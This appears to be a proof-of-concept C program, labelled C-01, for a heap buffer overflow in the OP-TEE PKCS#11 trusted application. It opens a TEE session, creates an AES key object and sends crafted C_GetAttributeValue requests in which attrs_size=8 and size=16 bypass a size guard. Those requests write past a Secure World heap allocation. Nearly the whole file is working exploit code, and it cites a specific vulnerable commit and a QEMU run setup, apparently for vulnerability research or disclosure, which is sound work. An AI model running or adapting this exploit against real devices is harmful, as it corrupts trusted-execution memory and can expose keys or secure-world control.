README.md
Rendering markdown...
/*
* C-01 PoC: Heap Buffer Overflow in PKCS#11 C_GetAttributeValue
*
* Triggers the bug in entry_get_attribute_value() (ta/pkcs11/src/object.c)
* by sending a C_GetAttributeValue request with attrs_size = 8 (one header,
* zero data bytes) and cli_head.size = 16 (bypassing the size guard),
* causing a 16-byte write past the end of the 16-byte template allocation
* in the Secure World heap.
*
* Build (AArch64):
* See build_poc.sh
* Run in QEMU (as root):
* mount -t 9p -o trans=virtio host /mnt/host
* /mnt/host/c01_poc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <tee_client_api.h>
/* PKCS#11 TA UUID: fd02c9da-306c-48c7-a49c-bbd827ae86ee */
static const TEEC_UUID pkcs11_ta_uuid = {
0xfd02c9da, 0x306c, 0x48c7,
{ 0xa4, 0x9c, 0xbb, 0xd8, 0x27, 0xae, 0x86, 0xee }
};
/* PKCS#11 TA command IDs (from ta/pkcs11/include/pkcs11_ta.h) */
#define CMD_INIT_TOKEN 10
#define CMD_OPEN_SESSION 6
#define CMD_CREATE_OBJECT 15
#define CMD_GET_ATTRIBUTE_VALUE 38
/* Attribute IDs (internal TA values from pkcs11_ta.h) */
#define CKA_CLASS 0x0000
#define CKA_TOKEN 0x0001
#define CKA_LABEL 0x0003
#define CKA_VALUE 0x0011
#define CKA_KEY_TYPE 0x0100
#define CKA_DECRYPT 0x0105
#define CKA_MODIFIABLE 0x0170
/* Object/key class values */
#define CKO_SECRET_KEY 0x0004
#define CKK_AES 0x001f
#define CK_TRUE 0x01
#define CK_FALSE 0x00
/* Session flags */
#define CKF_RW_SESSION 0x00000002
#define CKF_SERIAL_SESSION 0x00000004
/* Return codes */
#define CKR_OK 0x00000000
/*
* Invoke a PKCS#11 TA command.
* ctrl = INOUT param[0]: TA reads args, writes 4-byte return code back
* out = OUTPUT param[2]: TA writes response data here
* Returns the 4-byte PKCS#11 return code from the TA.
*/
static uint32_t pkcs11_cmd(TEEC_Session *sess, uint32_t cmd,
void *ctrl, size_t ctrl_size,
void *out, size_t *out_size)
{
TEEC_Operation op = { 0 };
uint32_t origin = 0;
TEEC_Result res;
uint32_t rc = 0;
op.params[0].tmpref.buffer = ctrl;
op.params[0].tmpref.size = ctrl_size;
if (out && out_size) {
op.params[2].tmpref.buffer = out;
op.params[2].tmpref.size = *out_size;
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE,
TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE);
} else {
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE,
TEEC_NONE, TEEC_NONE);
}
res = TEEC_InvokeCommand(sess, cmd, &op, &origin);
/*
* The TA writes the 4-byte return code to ctrl[0..3] and sets
* params[0].tmpref.size = 4 (entry.c:366-367).
*/
memcpy(&rc, ctrl, sizeof(rc));
if (out_size)
*out_size = op.params[2].tmpref.size;
if (res == TEEC_ERROR_SHORT_BUFFER)
return 0x00000150; /* CKR_BUFFER_TOO_SMALL */
return (res == TEEC_SUCCESS) ? rc : 0xFFFFFFFF;
}
/* Pack a uint32 into a byte buffer and advance pointer */
static void put_u32(uint8_t **p, uint32_t v)
{
memcpy(*p, &v, 4);
*p += 4;
}
/* Pack n bytes into a byte buffer and advance pointer */
static void put_bytes(uint8_t **p, const void *src, size_t n)
{
memcpy(*p, src, n);
*p += n;
}
int main(void)
{
TEEC_Context ctx;
TEEC_Session sess;
uint32_t origin = 0;
uint32_t rc;
uint8_t ctrl[256];
uint8_t out[256];
uint8_t *p;
size_t out_sz;
printf("[C-01 PoC] Heap Buffer Overflow in PKCS#11 C_GetAttributeValue\n");
printf("[C-01 PoC] Vulnerable commit: 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc\n");
/* --- Step 1: Open TEEC context and session with PKCS#11 TA --- */
if (TEEC_InitializeContext(NULL, &ctx) != TEEC_SUCCESS) {
fprintf(stderr, "[-] TEEC_InitializeContext failed\n");
return 1;
}
if (TEEC_OpenSession(&ctx, &sess, &pkcs11_ta_uuid,
TEEC_LOGIN_PUBLIC, NULL, NULL, &origin)
!= TEEC_SUCCESS) {
fprintf(stderr, "[-] TEEC_OpenSession failed (origin=%u)\n", origin);
TEEC_FinalizeContext(&ctx);
return 1;
}
printf("[+] TEEC session with PKCS#11 TA opened\n");
/* --- Step 2: Initialize token (slot 0, no PIN) --- */
/* ctrl = [slot_id(4)][pin_len(4)][label(32)] */
p = ctrl;
put_u32(&p, 0); /* slot_id = 0 */
put_u32(&p, 0); /* pin_len = 0 */
put_bytes(&p, "C01 PoC Token ", 32); /* label (32 bytes) */
rc = pkcs11_cmd(&sess, CMD_INIT_TOKEN, ctrl, p - ctrl, NULL, NULL);
printf("[+] INIT_TOKEN rc=0x%08x %s\n", rc, rc == CKR_OK ? "OK" : "(check: may already be initialized)");
/* --- Step 3: Open R/W session on slot 0 --- */
/* ctrl = [slot_id(4)][flags(4)] → out = [session_handle(4)] */
p = ctrl;
put_u32(&p, 0); /* slot_id */
put_u32(&p, CKF_RW_SESSION | CKF_SERIAL_SESSION); /* flags */
out_sz = 4; /* TA checks out->memref.size == sizeof(session_handle) exactly */
rc = pkcs11_cmd(&sess, CMD_OPEN_SESSION, ctrl, p - ctrl, out, &out_sz);
if (rc != CKR_OK) {
fprintf(stderr, "[-] OPEN_SESSION failed: rc=0x%08x\n", rc);
goto close;
}
uint32_t session_handle;
memcpy(&session_handle, out, 4);
printf("[+] OPEN_SESSION rc=0x%08x, session_handle=0x%08x\n", rc, session_handle);
/* --- Step 4: Create AES session object with CKA_LABEL --- */
/*
* Object attributes (OP-TEE internal IDs):
* CKA_CLASS(0x0000) = CKO_SECRET_KEY(4) [4+4+4 = 12 bytes]
* CKA_TOKEN(0x0001) = CK_FALSE(0) [4+4+1 = 9 bytes]
* CKA_MODIFIABLE(0x170)= CK_TRUE(1) [4+4+1 = 9 bytes]
* CKA_KEY_TYPE(0x100) = CKK_AES(0x1f) [4+4+4 = 12 bytes]
* CKA_DECRYPT(0x105) = CK_TRUE(1) [4+4+1 = 9 bytes]
* CKA_VALUE(0x011) = 16-byte AES key [4+4+16 = 24 bytes]
* CKA_LABEL(0x003) = "AAAAAAAAAAAAAAAA" [4+4+16 = 24 bytes]
*
* Total attrs_size = 12+9+9+12+9+24+24 = 99 bytes
* attrs_count = 7
*/
static const uint8_t aes_key[16] = {
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f
};
static const uint8_t label[16] = "AAAAAAAAAAAAAAAA";
uint32_t attrs_size = (4+4+4) + (4+4+1) + (4+4+1) + (4+4+4) + (4+4+1) + (4+4+16) + (4+4+16);
/* = 12 + 9 + 9 + 12 + 9 + 24 + 24 = 99 */
uint32_t attrs_count = 7;
p = ctrl;
put_u32(&p, session_handle);
/* pkcs11_object_head */
put_u32(&p, attrs_size);
put_u32(&p, attrs_count);
/* CKA_CLASS = CKO_SECRET_KEY */
put_u32(&p, CKA_CLASS); put_u32(&p, 4); put_u32(&p, CKO_SECRET_KEY);
/* CKA_TOKEN = CK_FALSE */
put_u32(&p, CKA_TOKEN); put_u32(&p, 1); *p++ = CK_FALSE;
/* CKA_MODIFIABLE = CK_TRUE */
put_u32(&p, CKA_MODIFIABLE); put_u32(&p, 1); *p++ = CK_TRUE;
/* CKA_KEY_TYPE = CKK_AES */
put_u32(&p, CKA_KEY_TYPE); put_u32(&p, 4); put_u32(&p, CKK_AES);
/* CKA_DECRYPT = CK_TRUE */
put_u32(&p, CKA_DECRYPT); put_u32(&p, 1); *p++ = CK_TRUE;
/* CKA_VALUE = 16-byte AES key */
put_u32(&p, CKA_VALUE); put_u32(&p, 16); put_bytes(&p, aes_key, 16);
/* CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes) */
put_u32(&p, CKA_LABEL); put_u32(&p, 16); put_bytes(&p, label, 16);
out_sz = 4; /* TA checks out->memref.size == sizeof(obj_handle) exactly */
rc = pkcs11_cmd(&sess, CMD_CREATE_OBJECT, ctrl, p - ctrl, out, &out_sz);
if (rc != CKR_OK) {
fprintf(stderr, "[-] CREATE_OBJECT failed: rc=0x%08x\n", rc);
goto close;
}
uint32_t obj_handle;
memcpy(&obj_handle, out, 4);
printf("[+] CREATE_OBJECT rc=0x%08x, obj_handle=0x%08x\n", rc, obj_handle);
printf("[+] Object has CKA_LABEL = \"AAAAAAAAAAAAAAAA\" (16 bytes)\n");
/* --- Step 5: Trigger the heap buffer overflow --- */
/*
* Malicious GET_ATTRIBUTE_VALUE request:
*
* ctrl = [session_handle(4)][obj_handle(4)]
* [pkcs11_object_head: attrs_size=8, attrs_count=1] <- CRAFTED
* [pkcs11_attribute_head: id=CKA_LABEL, size=16] <- CRAFTED
*
* Total ctrl: 4+4+8+8 = 24 bytes
*
* In the TA (entry_get_attribute_value, object.c:828-872):
* template = alloc(sizeof(pkcs11_object_head) + attrs_size)
* = alloc(8 + 8) = 16 bytes
* cur = template + 8
* end = cur + 8 <- attrs_size = 8
* cli_ref = cur <- within allocation
* data_ptr = cur + 8 = end <- PAST ALLOCATION
* get_attribute() writes 16 bytes at data_ptr -> HEAP OVERFLOW
*/
printf("[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...\n");
for (int i = 0; i < 5; i++) {
p = ctrl;
put_u32(&p, session_handle); /* session handle */
put_u32(&p, obj_handle); /* object handle */
/* pkcs11_object_head: CRAFTED attrs_size=8 (one header, zero data) */
put_u32(&p, 8); /* attrs_size = sizeof(pkcs11_attribute_head) only */
put_u32(&p, 1); /* attrs_count = 1 */
/* pkcs11_attribute_head: CRAFTED size=16 (bypasses size guard) */
put_u32(&p, CKA_LABEL); /* id = CKA_LABEL */
put_u32(&p, 16); /* size = 16 (>= actual, bypasses check) */
/*
* out_sz = sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16.
* The TA copies exactly out->memref.size bytes from template at
* object.c:915; setting this to 16 avoids a spurious read overflow
* before or instead of the intended write overflow.
*/
out_sz = 16;
rc = pkcs11_cmd(&sess, CMD_GET_ATTRIBUTE_VALUE, ctrl, p - ctrl, out, &out_sz);
printf("[+] GET_ATTRIBUTE_VALUE[%d] rc=0x%08x\n", i, rc);
/*
* Expected: heap corruption in TA's secure world heap.
* The TA may continue temporarily before crashing on the next
* heap operation (TEE_Panic in bget allocator).
* Check serial1.log for: "Panic at" or "assertion failed".
*/
}
printf("[+] Done. If the TA is still responding, the corruption may be\n");
printf(" latent. Check /tmp/serial1.log for TEE panic output.\n");
close:
TEEC_CloseSession(&sess);
TEEC_FinalizeContext(&ctx);
return 0;
}